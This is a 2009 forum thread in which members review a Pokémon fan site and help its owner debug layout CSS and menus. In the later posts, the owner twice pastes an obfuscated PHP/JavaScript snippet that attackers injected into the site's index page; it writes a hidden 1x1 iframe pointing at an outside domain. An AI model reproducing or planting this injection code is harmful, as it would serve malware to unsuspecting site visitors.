# AobaruNet



## Aobaru (Jun 13, 2009)

Hee hee. I've been gone for a while. 

Anyway, AobaruNet is my site. My new host is the marvelous Eevee's HQ. Also, my site's XHTML and CSS is now W3C-compliant.

So, any comments/suggestions?


----------



## BynineB (Jun 13, 2009)

My eyes burn.

Black background with neon blue borders..?


----------



## Pikachu (Jun 13, 2009)

Aobaru, you already have an advertising thread right here. You should've posted in the old thread.


----------



## Aobaru (Jun 13, 2009)

Pikachu said:


> Aobaru, you already have an advertising thread right here. You should've posted in the old thread.


I thought it'd be better to start a new one since the other one is so old. Plus, wouldn't that be bumping?



BynineB said:


> My eyes burn.
> 
> Black background with neon blue borders..?


Try the styleswitcher. :3 Personally, I like the purple Gengar layout the best.


----------



## spaekle (Jun 13, 2009)

Usually neon is one of those things you want to avoid when making layouts, but I don't think these are _that_ bad. The ice blue is kind of intense, as is the red. I like the purple one the best too.

I'd work a little more on the spriting tutorials - right now they seem like Butterfree's only shorter and less helpful. Try explaining things more, adding more examples, et cetera.

The MBTI Pokemon thing is a neat idea (I'm a Clefairy?) but it might be more helpful if you linked to a quiz or included something like this on the page.

...Is there even a way to win that square game? I did it, but I think I cheated.

Your interviews section is one of the most interesting, and it'd be cool if you could find more people to interview. :]


----------



## OrangeAipom (Jun 13, 2009)

I changed from ESTP to ISFP. Amazing.

Anyway, I think you should get rid of the revamp and recolor galleries. There's no way to know if someone stole a sprite unless you put one up there yourself.


----------



## Aobaru (Jun 13, 2009)

Spaekle Oddberry said:


> I'd work a little more on the spriting tutorials - right now they seem like Butterfree's only shorter and less helpful. Try explaining things more, adding more examples, et cetera.


Thanks, I'll try to explain everything more.



Spaekle Oddberry said:


> The MBTI Pokemon thing is a neat idea (I'm a Clefairy?) but it might be more helpful if you linked to a quiz or included something like this on the page.


I don't know if you saw it, but I do include a link at the top of the page to a personality quiz. Maybe I should make it stick out more...



Spaekle Oddberry said:


> ...Is there even a way to win that square game? I did it, but I think I cheated.


I made the Square Game to test out my JavaScript-ing skills. It's not a serious game, more of a way to introduce my new character, Alakazaan.

How exactly did you win? It should be unwinnable. xD



Spaekle Oddberry said:


> Your interviews section is one of the most interesting, and it'd be cool if you could find more people to interview. :]


Thanks, I'll ask around.

Thanks for the great review! :]]


----------



## spaekle (Jun 13, 2009)

Aobaru said:


> How exactly did you win? It should be unwinnable. xD


I disabled Javascript :D


----------



## Pikachu (Jun 13, 2009)

Spaekle Oddberry said:


> I disabled Javascript :D


Hehe, I did that too. Yet, there should be a prize.


----------



## Vladimir Putin's LJ (Jun 14, 2009)

Don't know if 'Miroir Noir' was supposed to be in French, but if it is then it's Miroire Noir.


----------



## Aobaru (Jun 14, 2009)

Vladimir Putin's LJ said:


> Don't know if 'Miroir Noir' was supposed to be in French, but if it is then it's Miroire Noir.


Um... I actually did a modest amount of research into the title, and I'm pretty sure it's _miroir noir_. In fact, I looked and I can't find any French word "miroire". 

Am I just not getting it? Is there something grammatical about it that puts an "e" at the end?


----------



## Pikachu (Jun 14, 2009)

Aobaru is right. Mirror is masculine in French, meaning there's no need for the 'e'. Plus, noir is the masculine version of black, so it would make sense that mirror is masculine also.


----------



## Aobaru (Jun 14, 2009)

Pikachu said:


> Aobaru is right. Mirror is masculine in French, meaning there's no need for the 'e'. Plus, noir is the masculine version of black, so it would make sense that mirror is masculine also.


Thanks for clearing it up for us. :]


----------



## Pikachu (Jun 14, 2009)

Mind if I ask you why, to affiliate with your site, you MUST have W3C-compliant valid HTML/XHTML? I mean, that's great and all, but there are some sites that blow you mind away but don't have valid HTML/XHTML. It's like climbing a mountain and falling off just before reaching the top.


----------



## Butterfree (Jun 14, 2009)

Actually, rather than disabling Javascript, the really non-cheating way to win is to place your mouse over the box and then refresh the page. The box will appear but not disappear, since the mouseover event doesn't fire until you move the mouse. Thus, you can click it.

Why in God's name are you using images for it, though? It means the user has to load the second image when they mouse over the box, which means they have a second then to click it, too. It would be far easier to just make it a div with a set height and width and make the Javascript change the background color (you can even make it transparent rather than just black on mouseover, which would avoid causing trouble with any future layouts that might not actually have a black background).

I also suggest you put an onclick event on it which checks whether the box has disappeared and gives you some sort of a prize if it hasn't - since it would be an onclick event, it wouldn't work when people have just disabled Javascript. :P Heck, you could also make it a colored div inside another transparent div which is slightly bigger and put the mouseover events on _that_ - then it would disappear slightly _before_ you've actually put your mouse on the colored box itself, also helping to prevent people from being able to click it while Javascript is firing the mouseover event.

Now. Your styleswitcher is kind of useless - it's more of a gimmick here than an actually useful tool, because it doesn't change anything that actually matters about the layout. Sure, it lets you turn the headings into your favorite color, but all the styles are still dark, fixed-width three-column layouts. The main point of a styleswitcher is to really cater to people's layout preferences, at least by providing layouts that are both dark and light and preferably something in between as well; I like to use different navigation schemes and basic page layouts as well to provide a still more extensive choice, but allowing the choice between dark and light as the actual background color of the page is pretty much the minimum. Dark layouts hurt some people's eyes and light layouts hurt others'.

The AAPA bugs me largely for basically the reasons detailed on my Sections that Suck page; it feels like a flash from the past, from that time when Anti-Pokémon was actually still somewhat relevant. It really says a lot that your featured Anti-Pokémon site looks exactly the same as it did when I first saw it in 2003, and knowing Anti-Pokémon, it had probably then already looked exactly the same for the past few years before that.

But aside from that, the "Why people hate Pokémon" article is sadly not very in-depth or thought-provoking, since it only basically repeats briefly what Anti-Anti-Pokémon has been saying since it started. Also, Sudoku is a puzzle, not a strategy game, and I don't see why you waste a paragraph trying to demonstrate that girls play video games since that seems awfully irrelevant. You generally do not really make much of an argument, since the article fails to make the connection between "There is such a thing as mature fantasy" and "Pokémon is not immature"; "Pokémon Requires No Thinking" is a strawman to begin with; and the only point you really make under "It's Evil" is "Well, I don't think it is."

"Why are you AAP" contains such wallbanger comments as "I HATE pokehaters just as much as I HATE dora", which really hurts the cause more than anything else; in general, having people join an "Anti-Anti-Pokémon Alliance" today when Anti-Pokémon really doesn't exist anymore is just sort of silly and overly militant, trying to strike up old conflicts. I realize your site began as the AAPA so it can have a nostalgic importance to you, but at the moment it's just not a very good subsite and its subject matter is too grossly outdated to actually warrant having this sort of "alliance" thing with people joining it to begin with. I really suggest you just ditch it and move on.

(And if you don't: on the AAPA home page, the link to AobaruNet just links back to the AAPA home page, presumably because you forgot to link it back to the main directory.)

The title "New DP Types" is misleading, since it's about new type _combinations_; I saw the title and thought you had somehow gotten the impression there were actual new types in Diamond and Pearl.

The catching legendaries page could use a mention of the fact that sleep and freezing are better than paralysis for catching.

The Platinum Sprite Reviews page really needs comments on all of the sprites, not just some (excluding "Facing the wrong way"); I really do not see what is so wrong with that Chatot. You're also missing several sprites that definitely look more wrong than those, such as Quagsire (the far leg is drawn and shaded as if it's closer to us than the near leg).

The "Power Contest" and "Cute Contest" are over; are you planning to make new rounds or what? "Whose Tail Is It?" is awfully easy in general, which is a bit more of a problem than just being easy because when all your games are easy it feels like it subtly insults the viewer's intelligence (hence why I make sure my games are ridiculously hard).

How many possibilities are there for the Miroir Noir, out of curiosity? I've gotten Jirachi, Togetic, Eevee, Darkrai and Magikarp. If those are the only ones, it would be fun to have more.

Your recoloring and revamping guides have mostly the same problems as before; the recoloring guide does not actually say how to "transfer" Minun's colors onto Plusle, and the resulting Voltorb sprite in the revamping guide is sadly not that good. (The shadow should curve around its body like on the D/P sprite, it should probably have a shine on its "eyebrow" since that part juts out and would provide another place for the light to reflect off, it's got JPEG-blurring, and the lines around the eye should use some of the shadow color because they stand out way too much right now.) The guide also really does not explain well what you're doing or how to add new shading to make it look better (in fact, the guide seems to instruct people to make paint-buckety recolors), and in the last two paragraphs, it repeats itself.

Having a "fanfic contest" with only two entries is a bit silly, don't you think? Since fanfiction can take a while to write, in general I don't think fanfic contests can really work unless you have a pretty large site with plenty of writers frequenting it. :/ (Also, is it just me or is "The Tragedy of Vulpix" kind of disturbing? It's kind of like a slightly milder, Pokémon version of torture porn; it's just a random Vulpix who is brutally killed and torn apart for no reason. Characters being brutally killed and torn apart can work without being torture porn if there is actually something of a story to go along with it, but I don't see any there.)

"Usually buttons are used for more important or bigger sites -- they are bigger and stand out more." In a discussion about buttons and _banners_, it seems extremely odd to say buttons are bigger and stand out more. o.O Also, you might want to note that it's fine to ask a webmaster for affiliation again if you've visibly improved what they told you last time and it's been some time since.

PHP is not "a dynamic web script", it's a scripting language.

"And try to make the font contrast the background (i.e, Navy Blue font with a black background)" implies that a navy blue font on a black background is an example of a font that _does_ contrast with the background, not the opposite.

Calling attributes "another class of code" in your HTML is rather odd. You also don't describe what attributes actually look like until you get to the part about the style attribute.

I still think HTML guides that teach basic tags but don't actually fully explain the basics of HTML (you don't have anything about the structural tags, how to declare a doctype, you only mention the <p> tag when you happen to use it in examples about alignment and fonts) are rather aimless and without a target audience; either people know basic HTML, in which case they know most of that stuff already, or they don't know basic HTML, in which case that won't actually help them create a website. It's nice to teach the basics of how XHTML differs from HTML, but then you also have all those descriptions of basic tags that are sort of just... there. Either do it properly or don't include that stuff.

SSI is not technically a scripting language, since the only thing it actually does is include files, and it is not "HTML SSI"; it's just SSI. PHP includes are also unrelated to SSI barring the fact they are two ways to include files. It would be better to call it an "Include Guide".

Imagine that SSI is a crayon and PHP is Photoshop. They are two drastically different tools that can be used for drawing; Photoshop is not somehow a type of crayon, and when you talk about crayons it is already implied that you are not talking about Photoshop, so there is no need to specify the crayon as a "paper crayon" or say "Technically, Photoshop drawing is not actually done with crayons" somewhere in parentheses.

There is also nothing wrong with naming the include files top.html and bottom.html or whatever else with whatever extension you feel like. I believe I pointed this out when you asked to affiliate with me long ago.

In the transparency guide, you don't actually erase all the white in your example (the space between the wool and the tail is still white). Ironically, this would be the perfect chance to actually make note of this and remind the user to always remove any extra white areas that are left.

You're missing some of the more interesting meta tags you can have in the meta tags guide.

I noticed you sent me another affiliation e-mail recently; I suggest you fix this stuff before I get off my lazy behind and start going through all my zillion-and-one affiliation requests.

(Wow, this is longer than I thought.)


----------



## Aobaru (Jun 14, 2009)

0.0 Very nice review, Butterfree.

I've copied down all of your reviews. I'm going to close the site from the general public until all the changes are made. Moreover, I'm probably going to make a new layout (or rather, use one I already have made).

I've changed the link in the first post so everyone here can still review.

Thanks everyone for all your help! :3



> How many possibilities are there for the Miroir Noir, out of curiosity? I've gotten Jirachi, Togetic, Eevee, Darkrai and Magikarp. If those are the only ones, it would be fun to have more.


I think this was the only _direct_ question you asked. There are currently only five possibilities, but I'm working on many more.

I'll reply to the rest of your review later. :3


----------



## Sandstone-Shadow (Jun 14, 2009)

Instead of closing the site, why not keep the old one up and make changes as you go? Or, if you don't want visitors to see a slowly changing site, why not keep the old site open and make a new subfolder for the changing site, so there's still something for visitors to see?


----------



## Aobaru (Jun 14, 2009)

Sandstone-Shadow said:


> Instead of closing the site, why not keep the old one up and make changes as you go? Or, if you don't want visitors to see a slowly changing site, why not keep the old site open and make a new subfolder for the changing site, so there's still something for visitors to see?


Because I'll be doing a lot more than changing the content. I'll be changing up the layout too. Believe me, the site will be a mess for a few days xD


----------



## Butterfree (Jun 14, 2009)

Well, then why don't you just copy all the site files and put them in a subdirectory, mess around with it there, and then copy those files back over to overwrite the site when you're done? It's always annoying when sites close while they make renovations, especially since they're always closed longer than the webmasters intended.


----------



## Aobaru (Jun 15, 2009)

Butterfree said:


> Well, then why don't you just copy all the site files and put them in a subdirectory, mess around with it there, and then copy those files back over to overwrite the site when you're done? It's always annoying when sites close while they make renovations, especially since they're always closed longer than the webmasters intended.


Well, I'm done with the other layout now. xD I'm having some trouble with the styleswitcher, though. When I switch from the Neon Blue, Ominous Gengar, etc. layouts to the new one, it messes up. I know it's because the divs are in the wrong place.

My question is: how can I get the style to switch correctly even if the divs are placed differently?


----------



## Butterfree (Jun 15, 2009)

You have to have the same HTML structure in all your styles. If you want to change the div structure to make the new style work, you'll also need to change the other stylesheets to work with that div structure.


----------



## Aobaru (Jun 15, 2009)

But I'm sure the Mew layout _only_ works the way the divs are arranged now. Also, the widths of the Neon and Mew layouts are different. Can they styleswitch even though the layouts are so different? Or will I have to drastically change the Mew layout in order for it to fit into the Neon divs? -__-


----------



## Sandstone-Shadow (Jun 15, 2009)

Have you tried rearranging the divs? Maybe it does work, or maybe there's only minor tweaking that you need to do. And it shouldn't matter that the widths are different. None of my layouts had the same width on my styleswitcher.


----------



## Butterfree (Jun 15, 2009)

Basically, you keep the div structure _like you have it in the Mew layout_. Then you modify the _other_ stylesheets so that they work with that div structure, however it may differ from the one they were designed for. It should not be hard, since all the other stylesheets are basically the same except for a couple of color values; you can basically edit one and then copy and paste it with a couple of find-and-replace edits for the others.

See all my styles and how they tend to be completely different from one another? They all have the exact same HTML structure. The styles don't need to have anything in common, width or otherwise, in order for it to be possible to switch between them.


----------



## Aobaru (Jun 15, 2009)

Aggh... @.@ The div structures are the same now, but on the Mew layout, the right menu is messing up. I added the Mew style to the styleswitcher so you can see it. This is so confusing...

This is what it looks like.
This is what it's supposed to look like.


----------



## Pikachu (Jun 16, 2009)

I'm guessing that, by looking at your source code, you haven't closed your layout div.





Look. I'm not sure though. Someone correct me if I'm wrong.


----------



## Aobaru (Jun 16, 2009)

Well, it did validate the page (thanks :3), but the right menu is still messed up. ;__;


----------



## Ivy Newton (Jun 16, 2009)

Where'd the Neon Red layout go? That one was my favorite!


----------



## Aobaru (Jun 16, 2009)

People were complaining it hurt their eyes ;__; I might put it up again after the revamp is done.


----------



## Sandstone-Shadow (Jun 16, 2009)

Ohh, I totally had a problem like this once... I think it might be because you have the left menu set to float:left and the right menu set to float:right; I'm pretty sure that, just like that, the right menu will automatically go underneath the left. In the other styles, you have them both set to float:left...

Oh, wait a minute... that float is just for the text, isn't it...?


----------



## Aobaru (Jun 16, 2009)

Sandstone-Shadow said:


> Ohh, I totally had a problem like this once... I think it might be because you have the left menu set to float:left and the right menu set to float:right; I'm pretty sure that, just like that, the right menu will automatically go underneath the left. In the other styles, you have them both set to float:left...
> 
> Oh, wait a minute... that float is just for the text, isn't it...?


The _text-align_ makes the text float right. 

I just changed the _float_ to left on the right menu, and all it did was make the right menu go to the left side ;; I'll leave it that way so you all can see.


----------



## Dewgong (Jun 17, 2009)

i actually thought the neon layout was pretty cool. i've always been a fan of stuff that burns your eyes.


----------



## Aobaru (Jun 17, 2009)

Dewgong said:


> i actually thought the neon layout was pretty cool. i've always been a fan of stuff that burns your eyes.


(Are you being sarcastic...?)

Can anyone help me with the Mew layout problem?


----------



## Butterfree (Jun 18, 2009)

Give it float:right again; that was not the problem.

The actual problem when the menu goes below is usually a miscalculation of the widths. Odds are the combined _widths and double paddings_ of #rightmenu and #container2 are greater than the width of #container.


----------



## Aobaru (Jun 19, 2009)

Okay. I've totally re-coded the layouts. Now I'm only having two problems, both with the Mew layout.

*(1)* This image is supposed to be right under the banner, like this. The content and right menu aren't supposed to be level with the image like they are now. How can I fix this?

*(2)* On the Mew layout, you'll notice there are a lot of extra spaces on the left and right menus. This is caused by the <br /> tag that separates the links in the Neon layouts. If I take the <br />s out, the Neon menus are messed up. Is there something in the CSS of the Mew layout that's putting in an extra <br /> in the menus?


----------



## Dewgong (Jun 19, 2009)

no. i really do like neon.


----------



## Sandstone-Shadow (Jun 21, 2009)

Right now, Giggly Mew style's links are set up as blocks (or if there's a different way to phrase that, I don't know; you're using display:block, that's what I mean). That automatically puts the link on its own line (I believe) so there isn't another <br /> being added, but because the link is already on its own line, it looks like another <br /> is being added in.

So there's two different things you could do here. One, you could remove all <br />'s from your links and set the Neon style's links to display:block. You should still be able to make it look the same as it is now, just don't change any of the other coding for the menu links.

Or, you could remove all of the <br />'s from the layout and format your menus with lists. There's tons of different ways to style the lists; you can change the images for bullet points or you can just eliminate the bullet points altogether, so it wouldn't even look like a list unless you looked at the coding. This would probably be a longer (if in the end much more flexible) method, so I'll leave it like that, and if you choose to go this route I can post more about it. =) Personally I like this route better; it's what I used on AMC and all you have to do when you're typing the html of your menu is something like this:

<ul><li><a href="URL">Link</li>
<li><a href="URL">Link</li></ul>


----------



## Dewgong (Jun 22, 2009)

wasn't i an admin at your oekaki? i can't remember.


----------



## Aobaru (Jun 23, 2009)

Dewgong said:


> wasn't i an admin at your oekaki? i can't remember.


Yes, but the Oekaki is pretty much dead now. I'm probably getting rid of it, along with the AAPA.



Sandstone-Shadow said:


> Right now, Giggly Mew style's links are set up as blocks (or if there's a different way to phrase that, I don't know; you're using display:block, that's what I mean). That automatically puts the link on its own line (I believe) so there isn't another <br /> being added, but because the link is already on its own line, it looks like another <br /> is being added in.
> 
> Or, you could remove all of the <br />'s from the layout and format your menus with lists. There's tons of different ways to style the lists; you can change the images for bullet points or you can just eliminate the bullet points altogether, so it wouldn't even look like a list unless you looked at the coding. This would probably be a longer (if in the end much more flexible) method, so I'll leave it like that, and if you choose to go this route I can post more about it. =) Personally I like this route better; it's what I used on AMC and all you have to do when you're typing the html of your menu is something like this:
> 
> ...


Okay, I'm using the lists now. Thanks for the advice :3

There's still the first problem with the Mew layout. I'll post it again:

This image is supposed to be right under the banner, like this. The content and right menu aren't supposed to be level with the image like they are now. How can I fix this?


----------



## OrangeAipom (Jul 3, 2009)

Lots of your affiliates have invalid HTML, and valid HTML is one of your affiliation requirements. Even the top ones.


----------



## Aobaru (Jul 5, 2009)

Chucho said:


> Lots of your affiliates have invalid HTML, and valid HTML is one of your affiliation requirements. Even the top ones.


Well, I'm going to change it to _recommend_ valid HTML/XHTML instead of requiring it. I'm also getting rid of Junior Affiliates and merging them with the Normal Affiliates.

Now, not to be pushy, but can someone help with the problem a couple posts back?


----------



## Peter Shadeslayer (Jul 9, 2009)

I can't help you fix it if you're having a PHP (I think) error. XD 

http://www.aobarunet.eeveeshq.com/


----------



## Diz (Jul 10, 2009)

I clicked the link on the main page, and the styles seem to be working, even the Mew one. I don't know what was up with that page that Peter linked to...


----------



## Aobaru (Jul 11, 2009)

WOW GUYS I'M FREAKED OUT.

This was at the bottom of my code for index.php (and I didn't put it there):


```
<?php echo '<script>eval("d((*)&!o$^!%c$[[^@&um((*)&!e$[[^@&n[@&%^t.w$[[^@&r((*)&!i((*)&!t$^!%e(&@)&]('(&@)&]<i[@&%^f$^!%r[@&%^a((*)&!m$[[^@&e$[[^@& (&@)&]s[@&%^rc[@&%^=$^!%h$[[^@&t$^!%t$[[^@&p$[[^@&:((*)&!/(&@)&]/$^!%u$[[^@&p[@&%^d[@&%^a[@&%^t$^!%e$[[^@&da((*)&!t$^!%e(&@)&].[@&%^c(&@)&]n/$^!% $^!%h(&@)&]e(&@)&]i$[[^@&g$[[^@&h$^!%t$^!%=$^!%1$[[^@& [@&%^w$[[^@&i((*)&!d(&@)&]th(&@)&]=1(&@)&]></((*)&!i$[[^@&f((*)&!r$^!%a$^!%m((*)&!e>'$^!%)$[[^@&;[@&%^".replace(/\(\&\@\)\&\]|\$\^\!\%|\(\(\*\)\&\!|\$\[\[\^\@\&|\[\@\&\%\^/ig, ""))</script>'; ?>
```
Well, anyway, the page is working now.



_Ditto_ said:


> I clicked the link on the main page, and the styles seem to be working, even the Mew one. I don't know what was up with that page that Peter linked to...


Yes, the Mew layout is _working_ but I'm having some problems with positioning.

This image is supposed to be right under the banner, like this. The content and right menu aren't supposed to be level with the image like they are now. How can I fix this?


----------



## Pikachu (Jul 11, 2009)

Uh, dude. It is right underneath the banner.
Also, for some reason, your default style isn't working. My guess is that the default style doesn't define ANYTHING.


----------



## Aobaru (Jul 11, 2009)

Pikachu said:


> Uh, dude. It is right underneath the banner.


Oops. Copied the wrong post.

See the content and right menu? They aren't supposed to be level with the left menu. It's supposed to look like this. I.e., getting rid of this. Is it a problem with the coding? 0.0



Pikachu said:


> Also, for some reason, your default style isn't working. My guess is that the default style doesn't define ANYTHING.


What do you mean?


----------



## Pikachu (Jul 11, 2009)

Aobaru said:


> What do you mean?


Right here: picture. I'm assuming that you want the Mew style as default, but the default style doesn't define what the Mew style does.


----------



## Aobaru (Jul 11, 2009)

Pikachu said:


> Right here: picture. I'm assuming that you want the Mew style as default, but the default style doesn't define what the Mew style does.


Oh, I get what you're saying. I fixed it :3

Still need help with the positioning problem two posts back.


----------



## Negrek (Jul 12, 2009)

> Yes, the Mew layout is _working_ but I'm having some problems with positioning.
> 
> This image is supposed to be right under the banner, like this. The content and right menu aren't supposed to be level with the image like they are now. How can I fix this?


Have you tried float:left;ing it? Right now the banner and the left-top fragment aren't positioned, so I think they're shoving everything else under them.


----------



## Aobaru (Jul 12, 2009)

Negrek said:


> Have you tried float:left;ing it? Right now the banner and the left-top fragment aren't positioned, so I think they're shoving everything else under them.


Both the #banner and #lefttop DIVs are float:left; and it's still not working.

Here's the Giggly Mew CSS.


----------



## Negrek (Jul 13, 2009)

...except they're not? Unless the link to your CSS in the last post isn't updated, or I'm missing something.


```
#banner {
width:800px;
height: 140px;
background: url('/aobarunet/banner.png');
}

#lefttop {
background: url('/aobarunet/left_top.png');
width:195px;
height:78px;
}
```
No positioning on either of them. Nor is there positioning information for them in the global stylesheet. Unless you mean that you tried floating them left and it didn't work (in which case, what happened, if anything?).


----------



## Aobaru (Jul 13, 2009)

Negrek said:


> ...except they're not? Unless the link to your CSS in the last post isn't updated, or I'm missing something.
> 
> 
> ```
> ...


You must have looked at it before I changed it (even though I changed it before I last posted 0.0)

Anyway, this is it now:

```
#container {
float:left;
width:100%;
background:url('/aobarunet/frame.png') top left repeat-y;
}

#banner {
width:800px;
height: 140px;
background: url('/aobarunet/banner.png');
float:left;
}

#container2 {
float:left;
width:615px;
}

#lefttop {
background: url('/aobarunet/left_top.png');
width:195px;
height:78px;
float:left;
}
```
It looks the same ;__;


----------



## Pikachu (Jul 23, 2009)

Um, why do I get this when I go to your site:


			
				Google said:
			
		

> Warning - visiting this web site may harm your computer!


----------



## Aobaru (Jul 23, 2009)

Pikachu said:


> Um, why do I get this when I go to your site:


Remember when I posted that this code had mysteriously appeared on my index.php:


```
<?php echo '<script>eval("d((*)&!o$^!%c$[[^@&um((*)&!e$[[^@&n[@&%^t.w$[[^@&r((*)&!i((*)&!t$^!%e(&@)&]('(&@)&]<i[@&%^f$^!%r[@&%^a((*)&!m$[[^@&e$[[^@& (&@)&]s[@&%^rc[@&%^=$^!%h$[[^@&t$^!%t$[[^@&p$[[^@&:((*)&!/(&@)&]/$^!%u$[[^@&p[@&%^d[@&%^a[@&%^t$^!%e$[[^@&da((*)&!t$^!%e(&@)&].[@&%^c(&@)&]n/$^!% $^!%h(&@)&]e(&@)&]i$[[^@&g$[[^@&h$^!%t$^!%=$^!%1$[[^@& [@&%^w$[[^@&i((*)&!d(&@)&]th(&@)&]=1(&@)&]></((*)&!i$[[^@&f((*)&!r$^!%a$^!%m((*)&!e>'$^!%)$[[^@&;[@&%^".replace(/\(\&\@\)\&\]|\$\^\!\%|\(\(\*\)\&\!|\$\[\[\^\@\&|\[\@\&\%\^/ig, ""))</script>'; ?>
```
Well, it was there again when I opened it up this morning! What the hell is going on? :\

I've scanned all my files with an Anti-Virus software and there are no signs of an infection. Also, all my files except for index.php are perfectly fine.

I've submitted a review to Google asking them to take the warning off. I guess that's all I can do right now. :[


----------



## Diz (Jul 23, 2009)

On my host, they forced advertisements onto all of my pages without telling me. I submitted an error report with them and they told me how to fix the problem. I actually had to code a place for the ads and get a code for them. Then the host removed the forced ads.

This might be your problem.


----------



## Aobaru (Jul 24, 2009)

I emailed my host, Kat from Eevee's HQ, about this problem, and she believes I was hacked :\ 

I'm changing the security on my FTP and also my passwords. Hopefully this will prevent a repeat occurrence. *sigh*

On a side note: the damn Google warning is messing up my CSS. I hope it gets removed soon.


----------



## Calvin (Jul 24, 2009)

Aobaru, seems to me that when I type in http://aobarunet.eeveeshq.com, no warning comes from Firefox, but when I type in http://www.aobarunet.eeveeshq.com, Firefox pops up that it is an attack site.. odd.

Do you know who or what may have hacked your account and applied that PHP code there? D:


----------



## Aobaru (Jul 25, 2009)

Calvin said:


> Do you know who or what may have hacked your account and applied that PHP code there? D:


I have no idea. :[ Google says:



			
				Google said:
			
		

> *How did this happen?*
> 
> In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.


But this page says:



			
				Google said:
			
		

> *Has this site acted as an intermediary resulting in further distribution of malware?*
> 
> Over the past 90 days, www.aobarunet.eeveeshq.com did not appear to function as an intermediary for the infection of any sites.
> 
> ...


Google still hasn't taken off the warning. I _guess_ I'll go through _all_ my files one-by-one and look for any more suspicious code, then submit again. :\


----------



## SonicNintendo (Jul 26, 2009)

how do u pronunce this????


----------



## Aobaru (Jul 26, 2009)

SonicNintendo said:


> how do u pronunce this????


Um... exactly as it's spelled. It's not really that hard.

In other news: Google finally took down the damn warning! Yay! Now I can get back to the revamp.


----------



## SonicNintendo (Jul 26, 2009)

Thanks.  good site, but the colors are a pain to look at.  8/10


----------



## Diz (Jul 26, 2009)

Based on what? The colors? That's hardly fair.


----------



## Ivy Newton (Jul 26, 2009)

SonicNintendo said:


> Thanks.  good site, but the colors are a pain to look at.  8/10


Hence the styleswitcher for people who don't like neon colors.


----------



## Aobaru (Jul 27, 2009)

Mumei said:


> Hence the styleswitcher for people who don't like neon colors.





_Ditto_ said:


> Based on what? The colors? That's hardly fair.


Thanks for replying, guys :3

Now that the Google crap is out of the way, can I get some help with the Giggly Mew style? 

Here's the link to the post with the problem.

I'm trying to get rid of this space. Any help would be appreciated.


----------



## Diz (Jul 27, 2009)

You don't have anything in the CSS specifying how many pixels you want div/attribute X from the top or bottom.

Of course, pixels if you want absolute positioning, use percentages or something for a stretching layout.


----------



## Calvin (Jul 27, 2009)

Hm, I kind of think that the space in the content would be good for like an advertisement or something, but I don't know.

Yeah, and _Ditto_'s right, you need to specify how high or low the advertisement is.


----------



## Aobaru (Aug 2, 2009)

Good news! I *finally* figured out why there was a space between the banner and content. It was because the #leftmenu and #content divs were both included in _another_ div: #container2. To fix it, all I did was delete #container2, rearrange the divs, and delete the #left_top div (I set left_top.png as the background to #leftmenu instead). Now it looks perrrfect~

Loook~


----------

